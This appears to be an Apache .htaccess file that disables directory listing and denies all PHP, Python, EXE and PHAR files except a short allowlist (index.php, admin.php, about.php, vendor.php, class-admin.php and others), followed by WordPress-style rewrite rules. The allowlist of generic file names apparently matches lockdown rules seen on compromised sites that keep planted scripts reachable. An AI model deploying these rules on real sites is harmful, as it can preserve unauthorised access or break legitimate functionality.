Options -Indexes

<FilesMatch ".(py|exe|php|shtml|Php|PhP|phP|pHp|PHP|phtml|pHTML|phar)$">
 Order allow,deny
 Deny from all
</FilesMatch>

<FilesMatch "^(index.php|admin.php|functions.php|class-admin.php|vendor.php|about.php|404.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>